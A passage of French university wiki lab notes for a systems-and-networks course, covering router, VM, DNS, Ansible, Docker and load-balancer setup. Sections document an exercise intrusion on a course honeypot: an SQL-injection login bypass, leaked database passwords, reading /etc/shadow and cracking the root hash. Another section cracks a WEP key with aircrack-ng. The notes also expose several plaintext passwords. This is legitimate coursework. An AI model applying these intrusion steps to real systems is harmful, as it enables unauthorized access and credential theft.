Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
  6	        ; Serial&lt;br /&gt;
  604800	; Refresh&lt;br /&gt;
  86400		; Retry&lt;br /&gt;
  2419200	; Expire&lt;br /&gt;
  604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
   ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
'''Activation des module pour le mandataire inverse'''&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache2 mandataire inverse, on doit activer les modules &amp;lt;code&amp;gt;proxy&amp;lt;/code&amp;gt; (permet l’implémentation d’un serveur mandataire/passerelle) et &amp;lt;code&amp;gt;proxy_http&amp;lt;/code&amp;gt; (permet des requêtes HTTP et HTTPS au module proxy) :&lt;br /&gt;
 a2enmod proxy proxy_http&lt;br /&gt;
 service apache2 restart&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55026</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55026"/>
				<updated>2020-12-18T23:51:30Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
